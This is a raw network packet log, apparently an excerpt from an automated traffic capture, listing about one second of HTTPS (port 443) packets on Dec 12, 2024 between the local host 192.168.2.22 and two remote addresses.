Dec 12, 2024 21:56:59.584131002 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607532024 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607691050 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607706070 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607741117 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.607744932 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607779980 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.607800961 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.607835054 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.640362024 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.640417099 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.640487909 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.640651941 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.640651941 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.640691996 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.664674044 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.664758921 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.664824009 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.664900064 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.664940119 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.664940119 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.670484066 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.670495987 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.670562029 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.670564890 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.670572042 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.670598984 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.670613050 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.678059101 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.678069115 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.678126097 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.678128958 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.678139925 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.678165913 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.678174019 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.679029942 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.685595036 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.685605049 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.685659885 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.685669899 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.685683966 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.685710907 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.687901020 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.693262100 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.693327904 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.693331003 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.693371058 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.693392992 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.693392992 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.700366974 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.700419903 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.700432062 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.700450897 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.700484037 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.707047939 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.707103968 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.707112074 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.707139015 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.707159042 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.714673996 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.714730024 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.714750051 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.714767933 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.714807034 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.739965916 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.740015984 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.740134001 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.740134001 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.740169048 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.759021044 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.759038925 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.759083033 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.759095907 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.759179115 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.759179115 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.759179115 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.759212971 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775083065 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775130987 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775141954 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775168896 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775280952 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.775281906 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.775374889 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.775444984 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.775444984 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.791084051 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.791151047 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.791197062 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.791361094 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.791435003 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.791522026 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.805033922 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.805068016 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.805150986 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.805175066 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.805321932 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.805322886 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.805322886 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.805356026 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.820825100 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.820900917 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.820936918 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.820946932 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.820976973 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.821002960 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.821019888 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.836760044 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.836828947 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.836962938 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.837032080 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.837069988 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.857245922 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.857316971 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.857348919 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.857418060 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.857459068 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.857459068 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.864434958 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.864496946 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.864501953 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.864518881 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.864564896 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.870768070 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.870826960 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.870841026 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.870856047 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.870891094 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.878598928 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.878679991 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.878782034 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.878782988 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.878848076 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.885895014 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.885966063 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.886065006 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.886065960 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.886133909 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.893002987 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.893085957 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.893176079 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.893176079 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.893244028 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.900572062 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.900639057 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.900789022 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.900789022 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.900854111 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.907340050 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.907402992 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.907661915 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.907661915 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:56:59.907727003 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:56:59.929584026 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.929635048 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.929795980 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.929795980 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.929862022 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.941487074 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.941502094 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.941536903 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.941550016 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.941703081 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.941704035 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.941770077 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.950689077 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.950732946 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.950754881 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.950773954 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.950906038 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.950906038 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.950973988 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.961148024 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.961169958 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.961234093 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.961261988 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.961462975 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.961462975 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.961534023 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.970607042 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.970695972 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.970731974 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.970906019 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.970906019 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.970971107 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.980688095 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.980829000 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.980865955 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.980916977 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.980916977 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:56:59.980981112 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:56:59.981034040 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.004133940 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.004230022 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.004317045 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.004317045 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.004352093 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.012891054 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.012931108 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.013050079 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.013050079 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.013082981 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.048768997 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.048840046 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.048878908 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.048911095 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.048938036 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.048938036 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.055622101 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.055635929 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.055708885 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.055718899 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.055732012 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.055752993 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.055771112 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.066617012 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.066631079 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.066699982 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.066703081 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.066709042 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.066704035 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.066792011 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.066843987 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.073285103 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073359013 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073367119 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.073383093 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073404074 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073436975 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.073456049 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.073478937 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073545933 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073610067 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.073623896 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073719978 CET	443	49173	188.114.97.6	192.168.2.22
Dec 12, 2024 21:57:00.073826075 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.074022055 CET	49173	443	192.168.2.22	188.114.97.6
Dec 12, 2024 21:57:00.120281935 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.120322943 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.120400906 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.120400906 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.120438099 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.120459080 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.128957987 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.128973961 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.129020929 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.129029989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.129034996 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.129054070 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.129086018 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.129188061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.136363029 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.136379957 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.136436939 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.136445999 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.136481047 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.136502981 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.136527061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.136585951 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.143419981 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.143460989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.143554926 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.143556118 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.143556118 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.143623114 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.150892019 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.150943041 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.150978088 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.151048899 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.151088953 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.152014971 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.159945011 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.160016060 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.160124063 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.160124063 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.160188913 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.160283089 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.195113897 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.195207119 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.195214033 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.195286989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.195357084 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.203180075 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.203253031 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.203264952 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.203349113 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.203418970 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.311872005 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.311911106 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.311948061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.311990023 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.312011003 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.312011003 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.318700075 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.318730116 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.318744898 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.318754911 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.318850040 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.318850040 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.318882942 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.327791929 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.327800989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.327826977 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.327836990 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.327944994 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.327944994 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.327944994 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.327944994 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.327981949 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.334705114 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.334778070 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.334856987 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.334856987 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.334889889 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.342273951 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.342338085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.342449903 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.342449903 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.342515945 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.350286007 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.350356102 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.350497961 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.350497961 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.350565910 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.386677027 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.386759043 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.386796951 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.386871099 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.386912107 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.393742085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.393821001 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.393821001 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.393855095 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.393889904 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.503726959 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.503808022 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.503812075 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.503885984 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:00.503926039 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:00.511428118 CET	443	49174	151.101.129.137	192.168.2.22
